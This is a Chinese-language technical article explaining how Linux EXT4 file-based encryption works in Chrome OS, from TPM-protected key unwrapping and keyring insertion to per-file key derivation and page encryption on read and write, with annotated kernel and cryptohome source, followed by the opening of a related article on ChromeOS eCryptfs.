  Linux kernel具有良好的模块化设计,EXT4 Encryption属于一个EXT4 FS中一个可选的模块,在编译kernel前需通过配置选项使能该功能,如下:
CONFIG_EXT4_FS_SECURITY=y
CONFIG_EXT4_FS_ENCRYPTION=y

添加master key的流程 回页首

  将master key添加到内核keyring属于EXT4 Encryption的第一步,该步骤通过add_key系统调用完成,master key在不同的Linux发行版有不同的产生及保存方法,这里以Chrome OS为例。
  Chrome OS在cryptohomed守护进程中完成master key的获取和添加到keyring。因为兼容eCryptfs和EXT4 Encryption(为了跟Chrome OS保持一致,后续以Dircrypto代替EXT4 Encryption的称呼),而eCryptfs属于前辈,eCryptfs通过mount的方式完成加密文件的开启,为了保持一致性,cryptohomed同样是在mount的准备过程中解密出master key和开启Dircrypto,此master key即eCryptfs加密模式时用的FEK,master key descriptor即FEK的key signature,所以本节介绍Dircrypto流程时所谓的mount流程,望读者能够理解,在Dircrypto模式下,mount不是真正“mount”,千万不要混淆。cryptohomed的mount流程如下:

  1. cryptohomed在D-Bus上接收到持(包含用户名和密码)有效用户证书的mount请求,当然D-Bus请求也是有权限控制的;
  2. 假如是用户首次登陆,将进行:
    a. 建立/home/.shadow/[salt_hash_of_username]目录,采用SHA1算法和系统的salt对用户名进行加密,生成salt_hash_of_username,简称s_h_o_u;
    b. 生成vault keyset /home/.shadow/[salt_hash_of_username]/master.0和/home/.shadow/[salt_hash_of_username]/master.0.sum。master.0加密存储了包含有FEK和FNEK的内容以及非敏感信息如salt、password rounds等;master.0.sum是对master.0文件内容的校验和。
  3. 采用通过mount请求传入的用户证书解密keyset。当TPM可用时优先采用TPM解密,否则采用Scrypt库,当TPM可用后再自动切换回使用TPM。cryptohome使用TPM仅仅是为了存储密钥,由TPM封存的密钥仅能被TPM自身使用,这可用缓解密钥被暴力破解,增强保护用户隐私数据的安全。TPM的首次初始化由cryptohomed完成。这里默认TPM可正常使用,其解密机制如下图二所示,其中:
    UP:User Passkey,用户登录口令
    EVKK:Ecrypted vault keyset key,保存在master.0中的”tpm_key”字段
    IEVKK:Intermediate vault keyset key,解密过程生成的中间文件,属于EVKK的解密后产物,也是RSA解密的输入密文
    TPM_CHK: TPM-wrapped system-wide Cryptohome key,保存在/home/.shadow/cryptohome.key,TPM init时加载到TPM
    VKK:Vault keyset key
    VK:Vault Keyset,包含FEK和FNEK
    EVK:Encrypted vault keyset,保存在master.0里”wrapped_keyset”字段
![](tpm-decrypt-VK.png "图二") 图二 TPM解密VK的流程

图二中的UP(由发起mount的D-Bus请求中通过key参数传入)做为一个AES key用于解密EVKK,解密后得到的IEVKK;然后将IEVKK做为RSA的密文送入TPM,使用TPM_CHK做为密钥进行解密,解密后得到VKK;最后生成的VKK是一个AES key,用于解密master.0里的EVK,得到包含有FEK和FNEK明文的VK。经过三层解密,终于拿到关键的FEK,此FEK在Dircrypto模式下当做master key使用,FEK signature即做master key descriptor使用。
  最后通过add_key系统调用将master key及master key descriptor(在keyring中为了方便区分,master key descriptor由key sign加上前缀”ext4:”组成)添加到keyring,如下清单六代码所示

清单六 Chrome OS传入master key的核心代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
key_serial_t AddKeyToKeyring(const brillo::SecureBlob& key,
const brillo::SecureBlob& key_descriptor) {
//参数中的key即是master key,key_descriptor即sig
if (key.size() > EXT4_MAX_KEY_SIZE ||
key_descriptor.size() != EXT4_KEY_DESCRIPTOR_SIZE) {
LOG(ERROR) << "Invalid arguments: key.size() = " << key.size()
<< "key_descriptor.size() = " << key_descriptor.size();
return kInvalidKeySerial;
}

//在upstart中已经通过add_key添加dircrypt的会话keyring
key_serial_t keyring = keyctl_search(
KEY_SPEC_SESSION_KEYRING, "keyring", kKeyringName, 0);
if (keyring == kInvalidKeySerial) {
PLOG(ERROR) << "keyctl_search failed";
return kInvalidKeySerial;
}

//初始化struct ext4_encryption_key
ext4_encryption_key ext4_key = {};
ext4_key.mode = EXT4_ENCRYPTION_MODE_AES_256_XTS;
memcpy(ext4_key.raw, key.char_data(), key.size());
ext4_key.size = key.size();
//key_name就是最后的master key description,由”ext4:”+sig两部分组成
//kernel在request_key时同样是将”ext4:”+sig两部分组成master key description
std::string key_name = kKeyNamePrefix + base::ToLowerASCII(
base::HexEncode(key_descriptor.data(), key_descriptor.size()));
// kKeyType是“logon”,不允许应用程序获取密钥的内容
key_serial_t key_serial = add_key(kKeyType, key_name.c_str(), &ext4_key,
sizeof(ext4_key), keyring);
if (key_serial == kInvalidKeySerial) {
PLOG(ERROR) << "Failed to insert key into keyring";
return kInvalidKeySerial;
}
return key_serial;
}
`

Set Encryption Policy流程 回页首

  通过对目标目录的文件描述符进行ioctl 的 EXT4_IOC_SET_ENCRYPTION_POLICY 操作即完成了EXT4 Encryption的加/解密功能的开启,该步骤在完成添加master key后进行,Chrome OS中的相关代码如下清单七所示,通过struct ext4_encryption_policy指定了策略的版本号、文件内容和文件名的加密算法、旗标、master key的识别描述符。

清单七 Chrome OS set encryption policy的核心代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
bool SetDirectoryKey(const base::FilePath& dir,
const brillo::SecureBlob& key_descriptor) {
DCHECK_EQ(static_cast<size_t>(EXT4_KEY_DESCRIPTOR_SIZE),
key_descriptor.size());
/*这里的dir代表要开启EXT4 Encryption的目录 */
base::ScopedFD fd(HANDLE_EINTR(open(dir.value().c_str(),
O_RDONLY | O_DIRECTORY)));
if (!fd.is_valid()) {
PLOG(ERROR) << "Ext4: Invalid directory" << dir.value();
return false;
}
/*初始化struct ext4_encryption_policy对象
* 指定文件内容的加密算法是AES_256_XTS
*/
ext4_encryption_policy policy = {};
policy.version = 0;
policy.contents_encryption_mode = EXT4_ENCRYPTION_MODE_AES_256_XTS;
policy.filenames_encryption_mode = EXT4_ENCRYPTION_MODE_AES_256_CTS;
policy.flags = 0;
// key_descriptor即FEK 的key sig
memcpy(policy.master_key_descriptor, key_descriptor.data(),
EXT4_KEY_DESCRIPTOR_SIZE);
/*通过ioctl完成设置*/
if (ioctl(fd.get(), EXT4_IOC_SET_ENCRYPTION_POLICY, &policy) < 0) {
PLOG(ERROR) << "Failed to set the encryption policy of " << dir.value();
return false;
}
return true;
}
`

  内核对EXT4_IOC_SET_ENCRYPTION_POLICY的ioctl在ext4_ioctl函数中完成响应,从应用程序中接收ext4_encryption_policy,解析其参数,若是首次对该目录进行加密设置则生成一个ext4_encryption_context 数据结构保存包括版本号、文件内容的加密算法、文件名的加密算法、旗标、master key descriptor、nonce在内的所有信息到目录对应inode的xattr中。从此开始,以该目录做为EXT Encryption加密的根目录,其下文件和子目录的除了nonce需要再次单独产生外,其余加密属性均继承自该目录。若非首次对该目录进行EXT4 Encryption设置,则重点比较当前设置是否与先前的设置一致。首先介绍首次设置的情形, ext4_ioctl的函数调用关系如图三所示。

![](ext4-ioctl-firsttime.png "图三") 图三 首次进行EXT4 Encryption设置的函数调用关系

  应用程序进行ioctl系统调用经过VFS,最终调用ext4_ioctl函数,借助图三的函数调用可看到进行EXT4 Encryption policy设置时都进行了什么操作。首先判断目录所在的文件系统是否支持EXT4 Encryption操作,具体在ext4_has_feature_encrypt 函数中通过判断superblock的s_es->s_feature_incompat是否支持ENCRYPT属性;然后利用copy_from_user函数从用户空间拷贝ext4_encryption_policy到内核空间;紧接着在ext4_process_policy函数里将ext4_encryption_policy转换成ext4_encryption_context保存到inode的attr;最后将加密目录对应的inode的修改保存到磁盘。重点部分在ext4_process_policy函数,主要分三大步骤,第一步还是进行照例检查校验,包括:访问权限、ext4_encryption_policy的版本号、目标目录是否为空目录、目标目录是否已经存在ext4_encryption_context;第二步为目标目录生成ext4_encryption_context并保存到xattr;最后提交修改的保存请求。第一步的具体操作表现在函数操作上如下:
● inode_owner_or_capable() 完成DAC方面的权限检查
● 对ext4_encryption_policy的版本号version进行检查,当前仅支持版本0
● ext4_inode_has_encryption_context()尝试读取目标目录对应的inode的xattr的EXT4 Encryption字段”c”,看是否存在内容,若存在内容,则说明目标目录在先前已经进行过EXT4 Encryption设置
● S_ISDIR()校验目标目录是否真的是目录
● ext4_empty_dir()判断目标目录是否为空目录,在首次设置EXT4 Encryption时,仅支持对空目录进行操作。这点有别于eCryptfs,eCryptfs加密文件所在的目录下支持非加密和加密文件的同时存在;而EXT4 Encryption要么是全加密,要么是全非加密。
  第二步在ext4_create_encryption_context_from_policy函数中完成,具体如下:
● ext4_convert_inline_data()对inline data做处理
● ext4_valid_contents_enc_mode()校验ext4_encryption_policy的文件内容加密模式是否为AES_256_XTS,当前仅支持该算法的内容加密
● ext4_valid_filenames_enc_mode()校验ext4_encryption_policy的文件名加密模式是否为AES_256_CTS,当前仅支持该算法的内容名加密
● 对ext4_encryption_policy的flags做检验
● get_random_bytes()产生16 Bytes的随机数,赋值给ext4_encryption_context的nonce,其他如master key descriptor、flags、文件内容加密模式、文件名加密模式等值,从ext4_encryption_policy中获取,完成目标目录对应的ext4_encryption_context的初始化
● ext4_xattr_set()将用于目标目录的ext4_encryption_context保存到inode的xattr
● ext4_set_inode_flag()将目标目录对应inode的i_flags设置成EXT4_INODE_ENCRYPT,表明其属性。后续在文件open、read、write时通过该标志进行判断
  最后使用ext4_journal_start、ext4_mark_inode_dirty、ext4_journal_stop等函数完成xattr数据回写到磁盘的请求。
  若非首次对目标目录进行EXT4 Encryption设置,请流程如图四所示,通过ext4_xattr_get函数读取对应inode的xattr的EXT4 Encryption字段”c”对应的内容,即保存的ext4_encryption_context,将其与ext4_encryption_policy的相应值进行对比,若不一致返回-EINVAL。

![](ext4-ioctl-no-firsttime.png "图四") 图四 非首次进行EXT4 Encryption设置的函数调用关系

  相比eCryptfs,此EXT4_IOC_SET_ENCRYPTION_POLICY的ioctl的作用类似eCryptfs的”mount –t ecryptfs ”操作。

creat file流程 回页首

  creat file流程特指应用程序通过creat()函数或open( , O_CREAT, )在已经通过EXT4_IOC_SET_ENCRYPTION_POLICY ioctl完成EXT4 Encryption设置的目录下新建普通文件的过程。希望通过介绍该过程,可以帮助读者了解如何创建加密文件,如何利用master key和nonce生成derived key。
  应用程序使用creat()函数通过系统调用经由VFS,在申请到fd、初始化好nameidata 、struct file等等之后利用ext4_create()函数完成加密文件的创建,函数调用关系如图五所示。
  创建加密文件的核心函数ext4_create()的函数调用关系如图六所示,函数主要功能是创建ext4 inode节点并初始化,这里只关注EXT4 Encryption部分。在创建时首先判断其所在目录inode的i_flags是否已经被设置了EXT4_INODE_ENCRYPT属性(该属性在EXT4_IOC_SET_ENCRYPTION_POLICY ioctl或者在EXT4 Encryption根目录下的任何地方新建目录/文件时完成i_flags设置),若是则表明需要进行EXT4 Encryption;接着读取新文件所在目录,即其父目录的xattr属性获取到ext4_encryption_context,再为新文件生成新的nonce,将nonce替换父目录的ext4_encryption_context中的nonce生成用于新文件的ext4_encryption_context并保存到新文件对应inode的xattr中;然后用ext4_encryption_context中的master key descriptor匹配到keyring中的master key,将ext4_encryption_context中的nonce做为密钥对master key进行AES-128-ECB加密,得到derived key;最后使用derived key和AES-256-XTS初始化kernel crypto API,将初始化好的tfm保存到 ext4_crypt_info 的ci_ctfm成员中,再将ext4_crypt_info保存到ext4_inode_info的i_crypt_info,后续对新文件进行读写操作时直接取出ci_ctfm做具体的加/解密即可。

![](creat-open-file.png "图五") 图五 creat和open file函数调用关系
![](ext4_create.png "图六") 图六 ext4_create函数调用关系

  具体到图六中ext4_create函数调用关系中各个要点函数,完成的功能如下:
● ext4_encrypted_inode()判断文件父目录的inode的i_flags是否已经被设置了EXT4_INODE_ENCRYPT属性
● ext4_get_encryption_info()读取父目录的xattr属性获取到ext4_encryption_context,并为父目录生成derived key,初始化好tfm并保存到其ext4_inode_info的i_crypt_info
● ext4_encryption_info()确认父目录的ext4_inode_info的i_crypt_info已经初始化好
● ext4_inherit_context()为新文件创建ext4_encryption_context并保存到其xattr中,并为新文件生成derived key,初始化好tfm并保存到其ext4_inode_info的i_crypt_info
  从上可看到ext4_get_encryption_info()和ext4_inherit_context()是最关键的部分,其代码如清单八和清单九所示,代码较长,但强烈建议耐心读完。

清单八 ext4_get_encryption_info函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
int ext4_get_encryption_info(struct inode *inode)
{
struct ext4_inode_info *ei = EXT4_I(inode);
struct ext4_crypt_info *crypt_info;
char full_key_descriptor[EXT4_KEY_DESC_PREFIX_SIZE +
(EXT4_KEY_DESCRIPTOR_SIZE * 2) + 1];
struct key *keyring_key = NULL;
struct ext4_encryption_key *master_key;
struct ext4_encryption_context ctx;
const struct user_key_payload *ukp;
struct ext4_sb_info *sbi = EXT4_SB(inode->i_sb);
struct crypto_ablkcipher *ctfm;
const char *cipher_str;
char raw_key[EXT4_MAX_KEY_SIZE];
char mode;
int res;

//若ext4_inode_info中的i_crypt_info有值,说明先前已经初始化好
if (ei->i_crypt_info)
return 0;
if (!ext4_read_workqueue) {
/*为readpage时解密初始化read_workqueue,为ext4_crypto_ctx预先创建128个
*cache,为writepage时用的bounce page创建内存池,为ext4_crypt_info创建slab
*/
res = ext4_init_crypto();
if (res)
return res;
}

/*从xattr中读取加密模式、master key descriptor、nonce等加密相关信息到
*ext4_encryption_context
*/
res = ext4_xattr_get(inode, EXT4_XATTR_INDEX_ENCRYPTION,
EXT4_XATTR_NAME_ENCRYPTION_CONTEXT,
&ctx, sizeof(ctx));
if (res < 0) {
if (!DUMMY_ENCRYPTION_ENABLED(sbi))
return res;
ctx.contents_encryption_mode = EXT4_ENCRYPTION_MODE_AES_256_XTS;
ctx.filenames_encryption_mode =
EXT4_ENCRYPTION_MODE_AES_256_CTS;
ctx.flags = 0;
} else if (res != sizeof(ctx))
return -EINVAL;
res = 0;

crypt_info = kmem_cache_alloc(ext4_crypt_info_cachep, GFP_KERNEL);
if (!crypt_info)
return -ENOMEM;

//根据获取到的ext4_encryption_context内容初始化ext4_crypt_info
crypt_info->ci_flags = ctx.flags;
crypt_info->ci_data_mode = ctx.contents_encryption_mode;
crypt_info->ci_filename_mode = ctx.filenames_encryption_mode;
crypt_info->ci_ctfm = NULL;
memcpy(crypt_info->ci_master_key, ctx.master_key_descriptor,
sizeof(crypt_info->ci_master_key));
if (S_ISREG(inode->i_mode))
mode = crypt_info->ci_data_mode;
else if (S_ISDIR(inode->i_mode) || S_ISLNK(inode->i_mode))
mode = crypt_info->ci_filename_mode;
else
BUG();

switch (mode) {
case EXT4_ENCRYPTION_MODE_AES_256_XTS:
cipher_str = "xts(aes)";
break;
case EXT4_ENCRYPTION_MODE_AES_256_CTS:
cipher_str = "cts(cbc(aes))";
break;
default:
printk_once(KERN_WARNING
"ext4: unsupported key mode %d (ino %u)\n",
mode, (unsigned) inode->i_ino);
res = -ENOKEY;
goto out;
}
if (DUMMY_ENCRYPTION_ENABLED(sbi)) {
memset(raw_key, 0x42, EXT4_AES_256_XTS_KEY_SIZE);
goto got_key;
}

//实际使用时将master key descriptor加上”ext4:”的前缀用于匹配master key
memcpy(full_key_descriptor, EXT4_KEY_DESC_PREFIX,
EXT4_KEY_DESC_PREFIX_SIZE);
sprintf(full_key_descriptor + EXT4_KEY_DESC_PREFIX_SIZE,
"%*phN", EXT4_KEY_DESCRIPTOR_SIZE,
ctx.master_key_descriptor);
full_key_descriptor[EXT4_KEY_DESC_PREFIX_SIZE +
(2 * EXT4_KEY_DESCRIPTOR_SIZE)] = '\0';

//使用master key descriptor为匹配条件向keyring申请master key
keyring_key = request_key(&key_type_logon, full_key_descriptor, NULL);
if (IS_ERR(keyring_key)) {
res = PTR_ERR(keyring_key);
keyring_key = NULL;
goto out;
}

//确保master key的type是logon类型,防止应用程序读取到key的内容
if (keyring_key->type != &key_type_logon) {
printk_once(KERN_WARNING
"ext4: key type must be logon\n");
res = -ENOKEY;
goto out;
}

down_read(&keyring_key->sem);
//从keyring中取出master key的payload
ukp = user_key_payload(keyring_key);
if (ukp->datalen != sizeof(struct ext4_encryption_key)) {
res = -EINVAL;
up_read(&keyring_key->sem);
goto out;
}

//取出master key的有效数据ext4_encryption_key
master_key = (struct ext4_encryption_key *)ukp->data;
BUILD_BUG_ON(EXT4_AES_128_ECB_KEY_SIZE !=
EXT4_KEY_DERIVATION_NONCE_SIZE);
if (master_key->size != EXT4_AES_256_XTS_KEY_SIZE) {
printk_once(KERN_WARNING
"ext4: key size incorrect: %d\n",
master_key->size);
res = -ENOKEY;
up_read(&keyring_key->sem);
goto out;
}

/*以nonce做为密钥,采用AES_128_ECB算法,利用kernel crypto API加密master
* key(master_key->raw),生成derived key保存在raw_key里
*/
res = ext4_derive_key_aes(ctx.nonce, master_key->raw,
raw_key);
up_read(&keyring_key->sem);
if (res)
goto out;
got_key:
//为AES_256_XTS加密算法申请tfm
ctfm = crypto_alloc_ablkcipher(cipher_str, 0, 0);
if (!ctfm || IS_ERR(ctfm)) {
res = ctfm ? PTR_ERR(ctfm) : -ENOMEM;
printk(KERN_DEBUG
"%s: error %d (inode %u) allocating crypto tfm\n",
__func__, res, (unsigned) inode->i_ino);
goto out;
}
crypt_info->ci_ctfm = ctfm;
crypto_ablkcipher_clear_flags(ctfm, ~0);
crypto_tfm_set_flags(crypto_ablkcipher_tfm(ctfm),
CRYPTO_TFM_REQ_WEAK_KEY);

//向kernel crypto接口里设置加密用的key为derived key
res = crypto_ablkcipher_setkey(ctfm, raw_key,
ext4_encryption_key_size(mode));
if (res)
goto out;

/*将初始化好的ext4_crypt_info 实例crypt_info拷贝到inode的ext4_inode_info 的*i_crypt_info。
*后续加/解密文件内容时直接取出ext4_inode_info的i_crypt_info,即可从中获取
*到已经初始化好的tfm接口c_ctfm,用其直接加/解密
*/
if (cmpxchg(&ei->i_crypt_info, NULL, crypt_info) == NULL)
crypt_info = NULL;
out:
if (res == -ENOKEY)
res = 0;
key_put(keyring_key);
ext4_free_crypt_info(crypt_info);
memzero_explicit(raw_key, sizeof(raw_key));
return res;
}
`

清单九 ext4_inherit_context函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
int ext4_inherit_context(struct inode *parent, struct inode *child)
{
struct ext4_encryption_context ctx;
struct ext4_crypt_info *ci;
int res;

//确保其父目录inode对应的i_crypt_info已经初始化好
res = ext4_get_encryption_info(parent);
if (res < 0)
return res;

//获取父目录的保存在i_crypt_info的ext4_crypt_info信息
ci = EXT4_I(parent)->i_crypt_info;
if (ci == NULL)
return -ENOKEY;
ctx.format = EXT4_ENCRYPTION_CONTEXT_FORMAT_V1;
if (DUMMY_ENCRYPTION_ENABLED(EXT4_SB(parent->i_sb))) {
ctx.contents_encryption_mode = EXT4_ENCRYPTION_MODE_AES_256_XTS;
ctx.filenames_encryption_mode =
EXT4_ENCRYPTION_MODE_AES_256_CTS;
ctx.flags = 0;
memset(ctx.master_key_descriptor, 0x42,
EXT4_KEY_DESCRIPTOR_SIZE);
res = 0;
} else {
/*使用父目录的文件内容加密模式、文件名加密模式、master key descriptor、flags
*初始化新文件的ext4_encryption_context
*/
ctx.contents_encryption_mode = ci->ci_data_mode;
ctx.filenames_encryption_mode = ci->ci_filename_mode;
ctx.flags = ci->ci_flags;
memcpy(ctx.master_key_descriptor, ci->ci_master_key,
EXT4_KEY_DESCRIPTOR_SIZE);
}

//产生16 bytes的随机数做为新文件的nonce
get_random_bytes(ctx.nonce, EXT4_KEY_DERIVATION_NONCE_SIZE);

//将初始化好的新文件的ext4_encryption_context保存到attr中
res = ext4_xattr_set(child, EXT4_XATTR_INDEX_ENCRYPTION,
EXT4_XATTR_NAME_ENCRYPTION_CONTEXT, &ctx,
sizeof(ctx), 0);
if (!res) {
//设置新文件的inode的i_flags为EXT4_INODE_ENCRYPT
ext4_set_inode_flag(child, EXT4_INODE_ENCRYPT);
ext4_clear_inode_state(child, EXT4_STATE_MAY_INLINE_DATA);

/*为新文件初始化好其inode对应的i_crypt_info,主要是完成其tfm的初始化
*为后续的读写文件时调用kernel crypto进行加/解密做好准备
*/
res = ext4_get_encryption_info(child);
}
return res;
}
`

  简单的说,creat时完成两件事:一是创建ext4_encryption_context保存到文件的xattr;二是初始化好ext4_crypt_info 保存到inode的i_crypt_info,后续使用时取出tfm,利用kernel crypto API即完成了加/解密工作。

open file流程 回页首

  这里open file特指打开已存在的EXT4 Encryption加密文件。仅加密部分而言,该过程相比creat少了创建ext4_encryption_context保存到文件的xattr的操作,其余部分基本一致。从应用程序调用open()函数开始到最终调用到ext4_file_open()函数的函数调用关系如上图五所示。本节主要描述ext4_file_open()函数,其函数调用关系如图七。

![](ext4_file_open.png "图七") 图七 ext4\_file\_open函数调用关系

图七所示各函数主要完成的功能如下:
● ext4_encrypted_inode() 判断欲打开文件对应inode的i_flags是否设置成EXT4_INODE_ENCRYPT,若是,表明是加密文件
● ext4_get_encryption_info() 从文件inode的xattr取出文件加密算法、文件名加密算法、master key descriptor、 随机密钥nonce;之后生成加密文件内容使用的密钥derived key并初始化好kernel crypto接口tfm,将其以ext4_crypt_info 形式保存到inode的i_crypt_info。详细代码见清单八
● ext4_encryption_info()确保文件对应inode在内存中的表示ext4_inode_info中的i_crypt_info已经做好初始化
● ext4_encrypted_inode(dir)判断判断欲打开文件的父目录inode的i_flags是否设置成EXT4_INODE_ENCRYPT
● ext4_is_child_context_consistent_with_parent()判断文件和其父目录的加密context是否一致,关键是master key descriptor是否一致
● dquost_file_open() 调用通用的文件打开函数完成其余的操作
  简单的说就是在open file的时候完成文件加/解密所需的所有context。

read file流程 回页首

  加密文件的解密工作主要是在read的时候进行。正常的Linux read支持Buffered I/O和Direct I/O两种模式,Buffered I/O利用内核的page cache机制,而Direct I/O需要应用程序自身准备和处理cache,当前版本的EXT4 Encryption不支持Direct I/O,其文件内容解密工作都在page cache中完成。自应用程序发起read操作到kernel对文件内容进行解密的函数调用关系如图八所示。

![](read.png "图八") 图八 read 加密文件的函数调用关系

  ext4 文件读的主要实现在ext4_readpage函数,文件内容的AES-256-XTS解密理所当然也在该函数里,这里主要介绍文件内容解密部分,其函数调用关系如图九所示。ext4 读写通过bio进行封装,描述块数据传送时怎样进行填充或读取块给driver,包括描述磁盘和内存的位置,其内部有一个函数指针bi_end_io,当读取完成时会回调该函数,如图九所示,ext4将bi_end_io赋值为mpage_end_io。mpage_end_io通过queue_work的形式调用completion_pages函数,在该函数中再调用ext4_decrypt函数完成page的解密。ext4_decrypt函数的代码非常简单,如清单十所示。核心的加密和解密函数都在ext4_page_crypto()中完成,因为在open file的时候已经初始化好了kernel crypto接口,所以这里主要传入表明是加密还是解密的参数以及密文页和明文页地址,代码比较简单,如清单十一所示。

![](ext4_readpage.png "图九") 图九 ext4_readpage函数调用关系

清单十 ext4_decrypt函数

1
2
3
4
5
6
7
8
int ext4_decrypt(struct page *page)
{
BUG_ON(!PageLocked(page));

return ext4_page_crypto(page->mapping->host, EXT4_DECRYPT,
page->index, page, page, GFP_NOFS);
}
`

清单十一 ext4_page_crypto 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
static int ext4_page_crypto(struct inode *inode, ext4_direction_t rw, pgoff_t index, struct page *src_page,
struct page *dest_page, gfp_t gfp_flags) {
u8 xts_tweak[EXT4_XTS_TWEAK_SIZE];
struct ablkcipher_request *req = NULL;
DECLARE_EXT4_COMPLETION_RESULT(ecr);
struct scatterlist dst, src;
struct ext4_crypt_info *ci = EXT4_I(inode)->i_crypt_info;
struct crypto_ablkcipher *tfm = ci->ci_ctfm; //取出open时初始化好的tfm
int res = 0;
req = ablkcipher_request_alloc(tfm, gfp_flags);
if (!req) {
printk_ratelimited(KERN_ERR "%s: crypto_request_alloc() failed\n", __func__);
return -ENOMEM;
}
ablkcipher_request_set_callback(
req, CRYPTO_TFM_REQ_MAY_BACKLOG | CRYPTO_TFM_REQ_MAY_SLEEP,
ext4_crypt_complete, &ecr);
BUILD_BUG_ON(EXT4_XTS_TWEAK_SIZE < sizeof(index));
memcpy(xts_tweak, &index, sizeof(index));
memset(&xts_tweak[sizeof(index)], 0, EXT4_XTS_TWEAK_SIZE - sizeof(index));

sg_init_table(&dst, 1);
sg_set_page(&dst, dest_page, PAGE_CACHE_SIZE, 0);
sg_init_table(&src, 1);
sg_set_page(&src, src_page, PAGE_CACHE_SIZE, 0);
ablkcipher_request_set_crypt(req, &src, &dst, PAGE_CACHE_SIZE, xts_tweak);
if (rw == EXT4_DECRYPT)
res = crypto_ablkcipher_decrypt(req);
else
res = crypto_ablkcipher_encrypt(req);
if (res == -EINPROGRESS || res == -EBUSY) {
wait_for_completion(&ecr.completion);
res = ecr.res;
}
ablkcipher_request_free(req);
if (res) {
printk_ratelimited( KERN_ERR "%s: crypto_ablkcipher_encrypt() returned %d\n", __func__, res);
return res;
}
return 0;
}

`

write file流程 回页首

  在写入文件的时候会首先将page cache中的文件明文内容进行AES-256-XTS
加密,再通过bio写入磁盘,该工作主要在ext4_writepage()函数中完成,这里主要关注EXT4 Encryption部分,其函数调用关系如图十所示。

![](ext4_writepage.png "图十") 图十 ext4_writepage函数调用关系

  图十中,首先照例通过ext4_encrypted_inode()函数利用i_flags是否等于EXT4_INODE_ENCRYPT来判断是否是加密文件;然后使用ext4_encrypt()函数申请新的内存页用于保存密文,完成内容的加密,具体代码见清单十二,函数返回密文页的地址保存在data_page变量;紧着通过io_submit_add_bh()封装写入buffer页到磁盘的请求,这里通过判断data_page页是否空来决定是写入明文页还是密文页,巧妙的兼容了加密和非加密两种模式;最后通过ext4_io_submit()提交bio写盘请求。

清单十二 ext4_encrypt函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
struct page *ext4_encrypt(struct inode *inode,
struct page *plaintext_page,
gfp_t gfp_flags)
{
struct ext4_crypto_ctx *ctx;
struct page *ciphertext_page = NULL;
int err;

BUG_ON(!PageLocked(plaintext_page));

//从cache中获取一个ext4_crypto_ctx内存空间
ctx = ext4_get_crypto_ctx(inode, gfp_flags);
if (IS_ERR(ctx))
return (struct page *) ctx;

//从内存池中申请一个内存页,命名为bounce page,用于保存密文内容,同时将
//ext4_crypto_ctx的w.bounce_page指向该bounce page
/* The encryption operation will require a bounce page. */
ciphertext_page = alloc_bounce_page(ctx, gfp_flags);
if (IS_ERR(ciphertext_page))
goto errout;
ctx->w.control_page = plaintext_page;

//调用kernel crypto加密,将密文保存在bounce page
err = ext4_page_crypto(inode, EXT4_ENCRYPT, plaintext_page->index,
plaintext_page, ciphertext_page, gfp_flags);
if (err) {
ciphertext_page = ERR_PTR(err);
errout:
ext4_release_crypto_ctx(ctx);
return ciphertext_page;
}
SetPagePrivate(ciphertext_page);
set_page_private(ciphertext_page, (unsigned long)ctx);
lock_page(ciphertext_page);

//返回密文页bounce page地址
return ciphertext_page;
}

`

  因为在open file的时候已经初始化好了kernel crypto 所需的加密算法、密钥设置,并保存了tfm到文件inode的内存表示ext4_inode_info的成员i_crypt_info中,所以在readpage/writepage时进行加/解密的操作变得很简单。

结语 回页首

  与eCryptfs类似,EXT4 Encryption建立在内核安全可信的基础上,核心安全组件是master key,若内核被攻破导致密钥泄露,EXT4 Encryption的安全性将失效。同样需要注意page cache中的明文页有可能被交换到磁盘的swap区。早期版本的Chrome OS禁用了swap功能,当前版本的swap采取的是zram机制,与传统的磁盘swap有本质区别。相比eCryptfs做为一个独立的内核加密模块,现在EXT4 Encryption原生的存在于EXT4文件系统中,在使用的便利性和性能上都优于eCryptfs,相信推广将会变得更加迅速。

参考资料 回页首

  1. Linux kernel-V4.4.79 sourcecode
  2. Chromium OS platform-9653 sourcecode

ChromeOS基于eCryptfs的用户数据安全保护机制

author : suezi(@suezi86) of IceSword Lab , Qihoo 360


概述 回页首

  Chromebook的使用场景模式是允许多人分享使用同一台设备,但是同时也要保护每个用户数据的私密性,使得每个使用者都不允许访问到对方的隐私数据,包括:账户信息、浏览历史记录和cache、安装的应用程序、下载的内容以及用户自主在本地产生的文本、图片、视频等。本文试图从较高的角度阐述ChromeOS是如何通过eCryptfs机制保护用户数据隐私。

eCryptfs简介 回页首

  eCryptfs在Linux kernel 2.6.19由IBM公司的Halcrow,Thompson等人引入,在Cryptfs的基础上实现,用于企业级的文件系统加密,支持文件名和文件内容的加密。本质上eCryptfs 就像是一个内核版本的 Pretty Good Privacy(PGP)服务,插在 VFS和下层物理文件系统之间,充当一个“过滤器”的角色。用户应用程序对加密文件的写请求,经系统调用层到达 VFS 层,VFS 转给 eCryptfs 文件系统组件处理,处理完毕后,再转给下层物理文件系统;读请求流程则相反。
